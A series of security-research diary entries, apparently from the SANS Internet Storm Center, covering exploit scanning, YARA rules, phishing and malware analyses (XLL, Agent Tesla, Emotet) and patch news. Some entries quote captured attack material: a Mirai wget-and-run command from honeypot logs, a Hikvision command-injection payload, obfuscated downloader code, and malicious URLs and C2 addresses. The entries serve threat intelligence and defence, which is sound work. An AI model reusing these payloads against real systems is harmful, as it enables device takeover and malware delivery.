One rather persistent pattern in our honeypot logs is attacks against older PHPUnit flaws. These attacks appear to exploit %%cve:2017-9841%%, a simple remote code execution vulnerability [1]. Back in 2019, Imperva called it "one of the most exploitable CVEs of 2019", and even now, attacks keep coming in [2]. After tuning one of our honeypots to be more sensitive to these attacks, we saw one to two thousand attacks against the honeypot a day (the honeypot covers multiple IP addresses).

So why is a four-year-old vulnerability still so popular? Looking at the exploited URLs, one pattern emerged is the inclusion of WordPress plugins and other addons that administrators may install via composer. The most common URLs are:

/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/modules/gamification/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/modules/autoupgrade/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/modules/ps_facetedsearch/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
...

One issue may be that administrators installing these plugins and extensions may not be aware that they will install and enable PHPUnit as they install the respective extension. A typical composer.json file used to install the extension will include an extension like

"require-dev": {
    "phpunit/phpunit": "^6.2.2"
},

The example above includes version 6.2.2 or later of PHPUnit if the respective module is installed with the "dev" option (composer install --dev). Luckily, only PHPUnit before 5.6.3 or 4.8.27 is vulnerable. I took a quick look at the respective composer.json files, and none of the current files requires such an old version (if it is still available). But I guess, given the heavy scanning for this vulnerability, there may still be sufficient numbers of vulnerable systems around.

This is also more of a "composer" vs. a WordPress problem. While WordPress remains a favorite target of attackers due to its popularity, composer like many similar technologies (npm, pip...) obscures some of the dependencies installed automatically and makes inventorying dependencies more difficult. As a   quick test, you could run this command:

find . -name 'composer.json' -exec egrep -H phpunit {} \;

to find all composer.json files that include a reference to PHPUnit

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-9841
[2] https://www.imperva.com/blog/the-resurrection-of-phpunit-rce-vulnerability/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Wireshark version 3.6.0 was released.

It has many updates and bug fixes.

There is one change I want to highlight: the behavior of operator != (not equal) in display filters. Starting with version 3.6.0, expression "a != b" is the same as "!(a == b)".

This was not the case prior to version 3.6.0, and it's something you might have noticed (I'm sure you are aware of this if you ever took my Wireshark trainings ;-) ).

When the syntax of a display filter is correct, the background color of the display filter field is green:

If the syntax is wrong, the background color is red (<> is not a valid operator here):

And if you would use the != operator, then the background color would be yellow:

Yellow means that the syntax is correct, but that the semantics might not be what you expect. That's because fields can have multiple values. For example, field ip.addr has 2 values (ip.src and ip.dst). But ip.src can also have multiple values, for example when an IP packet is embedded inside another IP packet (an ICMP packet for example).

The yellow color is a warning: check if the semantics are what you expect, and if not, rewrite your expression: "a != b" -> "!(a == b)". This would give you a green color:

Starting with version 3.6.0, the semantics of operator != have changed. "a != b" is semantically the same as "!(a == b)" now, and the yellow color no longer appears:

FYI: if you need the "old" semantics, use operator ~= (any_ne).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In this video, I show and explain the YARA rules I covered in diary entries "Extra Tip For Triage Of MALWARE Bazaar's Daily Malware Batches" , "Simple YARA Rules for Office Maldocs" and "YARA Rule for OOXML Maldocs: Less False Positives".

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

The 2021 SANS Holiday Hack Challenge begins mid-December, but you can already watch "SANS Holiday Hack Challenge 2021 Q&A with Ed Skoudis" on YouTube.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Over the past 7 days, my honeypot captured a few hundred POST for a vulnerability which appeared to be tracked as a critical path traversal vulnerability in the web interfaces of routers with Arcadyan firmware. If successfully exploited, could allow unauthenticated remote actors to bypass authentication and add the router to the botnet Mirai botnet.

20211125-135312: 192.168.25.9:80-103.70.155.156:44670 data
POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http[:]//152.89.239.12/bins/mpsl;chmod 777 *;./mpsl selfrep.asus

20211126-090429: 192.168.25.9:80-72.141.208.113:39036 data
POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http[:]//185.245.96.227/bins/mpsl;chmod 777 *;./mpsl selfrep.asus

Indicators Top 10 IPs

24.245.127.163
62.210.203.173
81.213.214.192
82.76.228.117
92.253.215.69
110.10.58.175
177.195.74.71
179.60.141.4
190.144.237.210
202.175.106.187

URL Indicators

http[:]//152.89.239.12/bins/mpsl
http[:]//185.245.96.227/bins/mpsl

SHA256

63e70f283398248d912d42d2963cff7965415e7bb57b43880873e570a07e8bf6

[1] https://nvd.nist.gov/vuln/detail/CVE-2021-20090
[2] https://www.tenable.com/security/research/tra-2021-13
[3] https://www.virustotal.com/gui/file/63e70f283398248d912d42d2963cff7965415e7bb57b43880873e570a07e8bf6

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

YARA supports private strings.

A string can be marked as private by including string modifier "private".

Here is a use case.

This is a rule to detect wannacry malware based on its killswitch (I'm using a screenshot to avoid false positives on this diary entry):

This rule searches for 2 strings: the $mz string and the $domain string.

If they are found, the rule will trigger:

Using option -s, one can see where the strings were found inside a file:

$mz at position 0x00 (that's the start of a PE file), and $domain at position 0x0313DB.

If one declares string $mz as private, like this:

Then string $mz is not reported when option -s is used:

Thus modifier private can be used to hide some strings in YARA's output (or callback).

Personally, I've not had to use string modifier private yet. But it can help communicate which strings are important. For example to blue team members that handle the results of YARA rules you design.

$mz is not imporant here, because it is used as a simple trick to identify PE files. And PE files themselves, can be benign or malicious.

But if one finds a PE file containing the wannacry killswitch domain, then its most likely malicious.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

It can be instructive to closely examine even completely usual-looking phishing messages from time to time, since they may lead one to unusual phishing sites[1] or may perhaps use some novel technique that might not be obvious at first glance[2].

One such “uninteresting at first, yet interesting in the end” message was forwarded to me by a colleague of mine over the weekend. 

Besides the e-mail headers showing that the sender address was spoofed and that the message actually originated from a server in the AWS, there was nothing noteworthy about the e-mail itself.

...
Received: from [redacted].ddfree.live ([46.[redacted].25])
  by [redacted] with ESMTP; 20 Nov 2021 10:03:23 +0100
Received: from ec2-3-[redacted]-71.us-east-2.compute.amazonaws.com ([3.[redacted].71] helo=EC2AMAZ-PSCS0RU) 
	by server.ddfree.live with esmtpsa  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.93)
	(envelope-from <[redacted]@hotmail.com>)
	id 1mnAfp-0007D6-GT
	for [redacted]@alef.com; Tue, 16 Nov 2021 21:27:45 -0500
...

It contained only a single personalized link…

hxxps://connect[.]vantrodx[.]com/?gcx=recipient@domain.tld

…which, when accessed, would result in the browser being redirected to a dynamically generated URL on the domain connectztc[.]webredirect[.]org, where the actual phishing page resided.

At first glance, the phishing site appeared to be just as uninteresting and run-of-the-mill as the phishing message. It contained a low-quality attempt at an Outlook login page that displayed the e-mail address, which was contained in the initial link, as part of its body.

Since it is generally not advisable to use real e-mail addresses when one interacts with phishing sites, I usually use something generic that satisfies any potential regex checks of e-mail address structure that a phishing site might perform, but can nevertheless be interpreted as a simple message should the operators of the phishing site check the database of login attempts manually at some later time...

If a victim filled in a password and clicked the Sign In button, credentials would be sent to the server using a HTTP POST request and verified.

POST /ftAoH25E9I92bORGAISC619b5e68a0bc1/o3vrvy5ml15ed5a394876a1?s=def502004d6[truncated] HTTP/1.1
Host: connectztc.webredirect.org
...

user=goto%40hell.tld&u2=goto%40hell.tld&pass=123456

Should the credentials be incorrect, the website would display an error message and give the user another chance to input the right password. So far, there was nothing out of the ordinary...

The site turned out to be interesting, however, when I attempted to access it again using the same initial link sometime later from a different public IP address. Instead of the Outlook login screen, only a 404-error page was displayed.

One might have reasonably expected at that point that the phishing site has been taken down. However, this did not turn out to be the case, since when I changed the e-mail address in the initial link, the login page was displayed correctly once again.

Based on this and further testing, it seems that there was some mechanism on the server, which logged the public IP address from which any link with specific e-mail address was first opened, and which would check whether the IP was the same before allowing any subsequent access using the same link.

If one were to access the site from the same public IP twice using the same link (independent of cookies, browser used, or any other factors), the login page would load correctly both times. But if the same link was opened from two different public IPs, the server would serve a 404 page to the second request instead of the login page.

My assumption is that this dynamically adjusted allow-listing was an attempt at a very simple protection mechanism for the phishing page. In cases when someone would click on a phishing link and afterwards reported it to their IT or security team, it is not unimaginable that a member of such team might try to open the same initial link without changing the e-mail address and that their internet traffic might originate from a different public IP than did the traffic of the person who reported the phishing. Since the investigator would be greeted with a 404, they could then easily come to the conclusion that the website has already been taken down and would therefore not pursue any further actions in connection with it.

Although this approach could hardly hide a phishing site from any more in-depth investigation, it might be effective in some cases. And since I’ve never come across it before and it seemed quite novel, I thought it might warrant at least this short mention. If nothing else, it provides a good illustration of why it is unwise to use unmodified phishing links that contain e-mail addresses during analysis and it goes to show that when one finds a 404 page where a phishing site used to be, it might not necessarily be the end of the story.

If you’d like to take a closer look at the phishing site described above yourself, you may, since at the time of writing it is still up...perhaps in part thanks to its protection mechanism.

[1] https://isc.sans.edu/forums/diary/Slightly+broken+overlay+phishing/26586/
[2] https://isc.sans.edu/forums/diary/Broken+phishing+accidentally+exploiting+Outlook+zeroday/26254/

-----------
Jan Kopriva
@jk0pr
Alef Nula

In this diary entry, I introduce an updated version of the YARA rule I presented in diary entry "Simple YARA Rules for Office Maldocs" for OOXML files with VBA code. Here is the OOXML YARA rule I presented yesterday:

rule pkvba {
    strings:
        $vbaprojectbin = "vbaProject.bin"
    condition:
        uint32be(0) == 0x504B0304 and $vbaprojectbin
}

This rule will generate false positives, if it finds instances of string "vbaProject.bin" that are not a filename.

To improve this rule (generate less false positives), I will add clauses to check that the instances of string "vbaProject.bin" are found inside a PKZIP file record, and correspond to the filename field.

Here is an updated version of the rule:

rule pkvbare {
    strings:
        $vbaprojectbin = /[a-zA-Z\/]*\/?vbaProject\.bin/
    condition:
        uint32be(0) == 0x504B0304 and
        $vbaprojectbin and
        for any i in (1..#vbaprojectbin): ((uint32be(@vbaprojectbin[i] - 30) == 0x504B0304) and
                                           (!vbaprojectbin[i] == uint16(@vbaprojectbin[i] - 4))
                                           )
}

In this updated rule, I use a regular expression (/[a-zA-Z\/]*\/?vbaProject\.bin/) to find filename vbaProject.bin. That's because the full filename is preceded by a path, and that path differs per type of Office document. For example, inside Word documents, that filename is "word/vbaProject.bin":

30 bytes before string "word/vbaProject.bin", one will find the header of the PKZIP file record:

The header of a PKZIP file record starts with magic sequence "50 4B 03 04".

I check this with the folowwing clause in my YARA rule:

(uint32be(@vbaprojectbin[i] - 30) == 0x504B0304)

Since more than one instance of $vbaprojectbin can be found, I need to tests all instances, to find one that fullfills all the conditions. I do this with a for expression:

for any i in (1..#vbaprojectbin): (...)

#vbaprojectbin is the number of instances (#) found.

i is an index (integer) that varies between 1 and the number of found instances.

@vbaprojectbin[i] represents the position of the found instance with index number i. Subtracting 30 from that position, brings me to the start of the PKZIP file record header. I check that this is indeed the case, by comparing with the magic sequence:

(uint32be(@vbaprojectbin[i] - 30) == 0x504B0304)

Another test I perform in this rule: I check if the length of the found instance of string vbaprojectbin corresponds to the integer that is stored inside the filenamelength field of a PKZIP file record. That field is 4 bytes in front of the filename:

!vbaprojectbin[i] represents the length of the found instance with index number i.

This length is compared with the 16-bit little-endian integer, found inside the length field of the PKZIP file record: that is 4 bytes in front of the filename:

!vbaprojectbin[i] == uint16(@vbaprojectbin[i] - 4)

When all these clauses are true for at least one instance of string $vbaprojectbin, then it's very likely that a PKZIP file record was found with a filename like */vbaProject.bin. I try to decrease the number of false positives by performing more tests.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In diary entry "Extra Tip For Triage Of MALWARE Bazaar's Daily Malware Batches" I shared 2 simple YARA rules to triage Office documents with VBA code.

This is rule olevba, for Office documents that use the binary CFBF aka ole file format:

rule olevba {
    strings:
        $attribut_e = {00 41 74 74 72 69 62 75 74 00 65}
    condition:
        uint32be(0) == 0xD0CF11E0 and $attribut_e
}

"uint32be(0) == 0xD0CF11E0" is a test to check if the file starts with D0CF11E0: that is the magic header of ole files.

The ASCII representation of 00 41 74 74 72 69 62 75 74 00 65 is ".Attribut.e", where the dot (.) represents a NULL byte. This sequence, is the start sequence of compressed VBA code generated by the VBA IDE (e.g., not been tampered with like VBA stomping).

If these 2 conditions are met, the YARA rule will trigger. False positives can occur, especially when string $attribut_e is found inside binary data that is not compressed VBA data.

This is rule pkvba, for Office documents that use the OOXML file format:

rule pkvba {
    strings:
        $vbaprojectbin = "vbaProject.bin"
    condition:
        uint32be(0) == 0x504B0304 and $vbaprojectbin
}

OOXML is essentially: a ZIP container, containing XML files.

"uint32be(0) == 0x504B0304" is a test to check if the file starts with 504B0304: that is the magic header of ZIP records typically found first inside a ZIP file.

vbaProject.bin is the filename of the ole file that contains the VBA project.

If these 2 conditions are met, the YARA rule will trigger. False positives can occur, especially when string vbaProject.bin is found somewhere else than inside a ZIP record.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Xavier's diary entry "(Ab)Using Security Tools & Controls for the Bad" on PAM, reminded me of a script to backdoor pam_unix.so: linux-pam-backdoor.

This script will download the PAM source code, patch it to add an hardcoded skeleton key password, and compile it.

There's also a script to detect backdoored pam_unix.so files like this: linux-pam-backdoor-detect.sh

This scripts looks if there is an extra string between the following strings:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

These probes appear to be related to a remote code execution (RCE) vulnerability (CVE-2021-36260) impacting Hikvision's popular Internet of things (IoT) security camera. If exploited by unauthenticated malicious actors, it could lead to full control over targeted devices and possibly internal networks. Shodan statistics have identified over 3.2 million camera on the internet.

Hikvision released an advisory on 2021-09-19 and recommend that any version dated earlier than 210628 to install the updates immediately.

Sample Log

20211115-033051: 192.168.25.9:81-185.53.90.110:43842 data
PUT /SDK/webLanguage HTTP/1.1
nHost: XX.XX.162.19:81
User-Agent: Go-http-client/1.1
Content-Length: 257
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?>
<language>
$(busybox echo -en "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa4\\x03\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00" >> downloader)
</language>'

Indicators

50.31.21.7
185.53.90.110

Information on how to update the security camera available here.

[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36260
[2] https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/
[3] https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
[4] https://github.com/Aiminsun/CVE-2021-36260/blob/main/CVE-2021-36260.py
[5] https://isc.sans.edu/ipinfo.html?ip=185.53.90.110
[6] https://www.shodan.io/search?query=hikvision
[7] https://ca.hikvision.com/en

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

At the Internet Storm Center, we like to show how exotic extensions can be used to make victims feel confident to open malicious files. There is  an interesting webpage that maintains a list of dangerous extensions used by attackers: filesec.io[1]. The list is regularly updated and here is an example of malicious file that is currently not listed: "XLL". It's not a typo, it's not a "DLL" but close to!

An "XLL" file is a Microsoft Excel add-in that is indeed a DLL but when launched, it will be loaded into Excel and executed. The default icon makes it looks like non suspicious:

When you've Microsoft office installed, the file extension is linked to Excel, a double-click on it will spawn it:

Like VBA macros, Microsoft implemented[2] this for legit reasons:

"The primary reason for writing Microsoft Excel XLLs and using the C API is to create high-performance worksheet functions. The applications of high-performance functions—and, starting in Excel 2007, the ability to write multithreaded interfaces to powerful server resources—make it a very important part of Excel extensibility. The performance of XLLs was further enhanced in Excel 2007 by the addition of new data types and, most important, support for multithreading."

But, when a feature is available, attackers will try to abuse of it. Because it's a DLL, it has an exports table: xlAutoOpen(). It's the exported function that will be called by Excel once the DLL loaded. We have now all the components required to execute malicious code:

• A "non-suspicious" file
• Linked to a trusted app
• Automatic load and jump to executable code

Note: Like VBA macros, Excel will ask you the authorization to load the add-in.

The sample that I found was 64-bits code and I had only a 32-bits version of Excel in my malware analysis lab (note to self: install the 64-bits version of Microsoft Office), impossible to perform live analysis. One of my prefered tool to quickly extract encoded strings from a PE file is floss. No need to go deeper, it successfully decoded all we need to understand the behaviour of the DLL:

LoadLibraryW
kernel32
etProcAddress
ExpandEnvironment
tringsW
URLDownloadToFileW
GetStartupInfoW
CreateProcessAsUserW
T$PH
T$HH
%APPDATA%\msoffice.exe
UrlMon
hxxp://3[.]126[.]250[.]38/FH/CAT/DHL2020386.exe
T$tH
ExitProcess
t=f;
u$E+J

The second stage payload (DHL2020386.exe) is a Formbook trojan[3]. If you are interested into the XLL file, I uploaded it on Malware Bazaar[4].

[1] https://filesec.io
[2] https://docs.microsoft.com/en-us/office/client-developer/excel/developing-excel-xlls
[3] https://www.virustotal.com/gui/file/5aad7a3f3d55c4741d8a79b59e0e9f922d375adab9f998ababc03a88a2feb27c
[4] https://bazaar.abuse.ch/sample/f00154ced8148e4866340673268f47b9b41b53925410e6e45ba75140652dfcaf/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Yesterday I spotted a piece of JavaScript script that delivers Agent Tesla[1]. New waves of this information stealer trojan are regularly spread to victims. PE files are delivered through downloader scripts attached to phishing emails. Those scripts are regularly updated and the one I found yesterday was interesting. The file was delivered as a 7z archive pretending to content a product catalog. Inside the archive, there was a JavaScript called "Product Specification #87305.js" (SHA256:2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201). The file has a current VT score of 15/55[2].

The file is nicely obfuscated but strings remain readable. Obfuscation techniques have two goals: 

• Make the malware analyst job more difficult (and prevent the human eye to spot interesting information just by having a look at the code)
• Defeat security controls in place (IDS, YARA rules, and all types of scanners)

In this case, obfuscation has been used for the second goal. Indeed strings remain readable:

remnux@remnux:/MalwareZoo/20211117$ grep -Eo "https://[^ >']+" Product\ Specification\ #87305.js 
hxxps://omno[.]ai/west/Gbl5ZmISI7qD9Aw.exe

The script is a one-liner but easy to beautify. The most interesting line is this one:

var _0xa4fe8b = [
 'Write','ResponseBody','/Downloader.exe','7219660HUvMZx','1726612MrOKnM','Open','send','WScript.Shell', \
 'Position','open','160894RIiqRQ','8coaNbK','558ryteMc','385460ubOOJO','3TcAywk','CreateObject', \
 '4403030JpxZdM','GET','7228980JDcfGe','Type','Scripting.FileSystemObject','SaveToFile','Close', \
 'https://omno.ai/west/Gbl5ZmISI7qD9Aw.exe','9813808DTZQni'
];

This array is used with the function _0x4fccd5() as seen in this example:

var WshShell=WScript['CreateObject']('WScript.Shell'), \
  filepath=WshShell['ExpandEnvironmentStrings']('%TEMP%')+_0x4fccd5(0x124), \
  url=_0x4fccd5(0x139), \
  xhr=new ActiveXObject('MSXML2.XMLHTTP');

To make the analysis more difficult, the function is aliased to another one (that's why I like JavaScript!):

function _0x2f7e(_0x57e24e,_0x597446)
{
  var _0x248d35=_0x248d();
  return _0x2f7e=function(_0x2f7e14,_0x486218)
  {
     _0x2f7e14=_0x2f7e14-0x124;
     var _0x38ca6a=_0x248d35[_0x2f7e14];
     return _0x38ca6a;
  },
  _0x2f7e(_0x57e24e,_0x597446);
}

var _0x4fccd5=_0x2f7e;

The index of the array to use is specified in hexadecimal (Ex: "0x124") and corrected to access the right element.

The script uses the classic ActiveX objects: 'MSXML2.XMLHTTP' to download the file, 'ADODB.Stream' to dump it on the file system and 'WScript.Shell' to execute it.

[1] https://attack.mitre.org/software/S0331/
[2] https://www.virustotal.com/gui/file/2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Back in January 2021, law enforcement and judicial authorities worldwide took down the Emotet botnet.  Although some Emotet emails still went out in the weeks after that, those were remnants from the inactive botnet infrastructure.  We hadn't seen any new Emotet since then.

But on Monday 2021-11-15, we saw indicators that Emotet has returned.  This diary reviews activity from a recent Emotet infection.

Shown above:  Chain of events for Emotet infection on Monday 2021-11-15.

Emails

We found some emails from a newly-revived Emotet botnet on Monday 2021-11-15 that have one of three types of attachments:

• Microsoft Excel spreadsheet
• Microsoft Word document
• Password-protected zip archive (password: BMIIVYHZ) containing a Word document

These emails were all spoofed replies that used data from stolen email chains, presumably gathered from previously infected Windows hosts.

Shown above: Example of Emotet malspam with password protected zip attachment.

Shown above: Example of Emotet malspam with attached Word document.

Shown above: Example of Emotet malspam with attached Excel file.

Shown above: Screenshot of Word document for Emotet.

Shown above: Screenshot of Excel spreadsheet for Emotet.

Infection traffic

Infection traffic for Emotet is similar to what we saw before the takedown in January 2021.  The only real difference is Emotet post-infection C2 is now encrypted HTTPS instead of unencrypted HTTP.  My infected lab host turned into a spambot trying to push out more Emotet malspam.

Shown above:  Example of traffic generated by Excel or Word macros for an Emotet DLL.

Shown above: Traffic from an infection filtered in Wireshark.

Shown above:  TCP stream of encrypted SMTP traffic from my infected Windows host.

Indicators of Compromise (IOCs)

The following are Word documents, Excel files, and a password-protected zip archive I saw from Emotet on Monday 2021-11-15.

SHA256 hash: 7c5690577a49105db766faa999354e0e4128e902dd4b5337741e00e1305ced24

• File size: 143,401 bytes
• File name: DOC_100045693068737895.docm
• File name: DOC_10010148844855817699830.docm
• File name: INF_10043023764772507433030.docm

SHA256 hash: bd9b8fe173935ad51f14abc16ed6a5bf6ee92ec4f45fd2ae1154dd2f727fb245

• File size: 143,121 bytes
• File name: FILE_24561806179285605525.docm

SHA256 hash: f7a4da96129e9c9708a005ee28e4a46af092275af36e3afd63ff201633c70285

• File size: 132,317 bytes
• File name: INF_4069641746481110.zip

SHA256 hash: d95125b9b82df0734b6bc27c426d42dea895c642f2f6516132c80f896be6cf32

• File size: 143,108 bytes
• File name: INF_4069641746481110.docm

SHA256 hash: 88b225f9e803e2509cc2b83c57ccd6ca8b6660448a75b125e02f0ac32f6aadb9

• File size: 47,664 bytes
• File name: FILE_10065732097649344691490.xlsm

SHA256 hash: 1abd14d498605654e20feb59b5927aa835e5c021cada80e8614e9438ac323601

• File size: 47,660 bytes
• File name: SCAN_1002996108727260055496.xlsm

The following are URLs generated by macros from the above files for an Emotet DLL file:

• hxxp://av-quiz[.]tk/wp-content/k6K/
• hxxp://devanture[.]com[.]sg/wp-includes/XBByNUNWvIEvawb68/
• hxxp://ranvipclub[.]net/pvhko/a/
• hxxp://visteme[.]mx/shop/wp-admin/PP/
• hxxps://goodtech.cetxlabs[.]com/content/5MfZPgP06/
• hxxps://newsmag.danielolayinkas[.]com/content/nVgyRFrTE68Yd9s6/
• hxxps://team.stagingapps[.]xyz/wp-content/aPIm2GsjA/

The Emotet DLL was first stored as a random file name with a .dll extension under the C:\ProgramData directory.  Then it was moved to a randomly-named directory under the infected user's AppData\Local folder.  The DLL is then made persistent through a Windows registry update as shown below.

Shown above:  Example of registry update to keep Emotet persistent.

SHA256 hashes for 7 examples of Emotet DLL files:

• 0b132c7214b87082ed1fc2427ba078c3b97cbbf217ca258e21638cab28824bfa
• 373398e4ae50ecb20840e6f8a458501437cfa8f7b75ad8a62a84d5c0d14d3e59
• 29de2e527f736d4be12b272fd8b246c96290c7379b6bc2d62c7c86ebf7f33cd4
• 632447a94c590b3733e2e6ed135a516428b0bd1e57a7d254d5357b52668b41f1
• 69efec4196d8a903de785ed404300b0bf9fce67b87746c0f3fc44a2bb9a638fc
• 9c345ee65032ec38e1a29bf6b645cde468e3ded2e87b0c9c4a93c517d465e70d
• b95a6218777e110578fa017ac14b33bf968ca9c57af7e99bd5843b78813f46e0

HTTPS Emotet C2 traffic:

• 51.75.33[.]120 port 443
• 51.159.35[.]157 port 443
• 81.0.236[.]93 port 443
• 94.177.248[.]64 port 443
• 92.207.181[.]106 port 8080
• 109.75.64[.]100 port 8080
• 163.172.50[.]82 port 443

Final words

The emails examples and malware samples from Monday's Emotet activity on 2021-11-15 can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Since Patch Tuesday, we've been tracking a Kerboros issue in November's patch bundle that affected authentication in several deployment scenarios:

• Azure Active Directory (AAD) Application Proxy Integrated Windows Authentication (IWA) using Kerberos Constrained Delegation (KCD)
• Web Application Proxy (WAP) Integrated Windows Authentication (IWA) Single Sign On (SSO)
• Active Directory Federated Services (ADFS)
• Microsoft SQL Server
• Internet Information Services (IIS) using Integrated Windows Authentication (IWA)
• Intermediate devices including Load Balancers performing delegated authentication

This was fixed out of band yesterday (November 14, 2021).  If you have applied November's update and are affected, you'll want to apply the "November-take-two" update on any affected servers.

The full issue report is located here: https://docs.microsoft.com/en-us/windows/release-health/status-windows-10-1809-and-windows-server-2019

The note on yesterday's fix being released is here: https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9

If you haven't applied November's updates yet, you may have dodged a bullet this month, but you likely want to revisit your update cadence - in most other months you would be more vulnerable than safe at this point (the Monday after Patch Tuesday).

 

===============
Rob VandenBrink
rob <at> coherentsecurity.com

Let me know if this scenario is familiar?

• You are working in a customer's AD domain
• You only have access to a member workstation
• Your account doesn't have Domain Admin rights
• Your account does not have Local Admin rights on the workstation you are connected to.
• You want to use a long, complex password
• ... aaand Microsoft won't allow you to paste a password into their GUI "password change".  Apparantly Microsoft wants us to continue to use passwords like "Passw0rd1!" and "Winter2021!" forever, until all AD domains are "passwordless"

If you are in this boat, you might think - great, I can't paste into the GUI, but how about "net user"?  Sadly, you need local or domain admin to change passwords using this command (see the list above).  If you try to change your own password using "net user", you'll end up with an "access denied" error.

OK, we still have PowerShell though, I can use the AD module there!  Except, sadly, you don't have local Admin rights so you can't install a new Powershell module.

What to do?  Happily you can still use PowerShell to get the job done, but we'll use ADSI to rescue the situation.  This script will do the job:

$oldpw = "existingoldpassword"
$newpw = "somenewpassword"
$user = $env:username
$domain = $env:userdomain
$user = [adsi]"WinNT://$domain/$user"
$user.ChangePassword($oldpw, $newpw)

If you use this approach, for goodness sake please don't save this script with your old and passwords in it!  

This second script will at least ask you for the passwords - and you can paste them into the input fields.  This still isn't great as the passwords are still in clear text as variables, but at least when you exit PowerShell they'll cease to be easily retrievable (unless someone collects a memory image of your workstation that is).  As a nice bonus, I cleared the clipboard in this one (from my diary last year https://isc.sans.edu/forums/diary/Whats+in+Your+Clipboard+Pillaging+and+Protecting+the+Clipboard/26556/ )

happl
$oldpw = read-host -prompt "Enter your existing password"
$newpw = read-host -prompt "Enter your new password"
$user = $env:username
$domain = $env:userdomain
$user = [adsi]"WinNT://$domain/$user"
$user.ChangePassword($oldpw, $newpw)

# Overwrite the password variables (I know that this doesn't really over-write)
# also clear the clipboard
$oldpw = "*" * 50
$newpw = "*" * 50
Set-Clipboard $null

This script has done the job for me so far - I can use a long, complex (AKA un-type-able) password, paste into the input fields, and still have my password change intervals match my clients' policies.  If you have a more elegant solution by all means post to our comment section below, this is a common enough situation that improving this would be a welcome thing for lots of us!

Or if you are reading this Microsoft (whichever manager that thought "disabling paste will make this waaay more secure"), letting us paste into the password change fields would make this detour unneccessary, and it would improve account security for lots (and lots) of us!  I use Windows Hello (using my fingerprint) to login to my laptop, but sadly, even though AD has started the "passwordless" journey, realistically AD passwords aren't going anywhere anytime soon - even "passwordless" shops are going to need some passwords for some situations for years to come.

===============
Rob VandenBrink
rob <at> coherentsecurity.com

Looking to use Linux in support of Network Services?  Check out my book (released just last week, the ink is still wet)
https://www.amazon.com/Linux-Networking-Professionals-configure-enterprise/dp/1800202393

The external email system of the FBI was breached on Saturday, and started to send out emails with fake warnings for cyberthreats.

The emails originated from an @ic.fbi[.]gov email account, according to an FBI statement.

We recommend scrutinizing emails received over the weekend from this domain.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I made a video of the maldoc analysis I explained in yesterday's diary entry "Obfuscated Maldoc: Reversed BASE64".

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Reader Colin submitted a malicious document.

It's a Word document with VBA code, as we can see in oledump's report:

As streams A3 and A10 with VBA code don't look that large, I use options -s a -v to extract all VBA code with one command:

The VBA code is accessing keywords and the content of the document. Let's start with the keywords, and search in which streams string keywords appears using zipdump.py:

It's in the docProps/cord.xml file:

Let's do a pretty print with my tool xmldump.py:

Let's extract the text:

This looks like a reversed path & filename. Let's reverse it with translate.py:

So the VBA code with create an HTA file in the public user folder.

Let's now take a look at the content of the Word document. This is stored inside file document.xml:

And my xmldump.py tool has a command to extract the content of an OOXML Word document: wordtext:

Notice that string $1 appears a lot. This could well be an obfuscation method: the original script has been interspersed with string $1, and to deobfuscate it, one has just to replace that string with an empty string. Let's try this using sed:

This looks indeed like an HTA file: html code with scripts. And it seems to contain BASE64 code (in the beginning). Let's decode this with my tool base64dump.py:

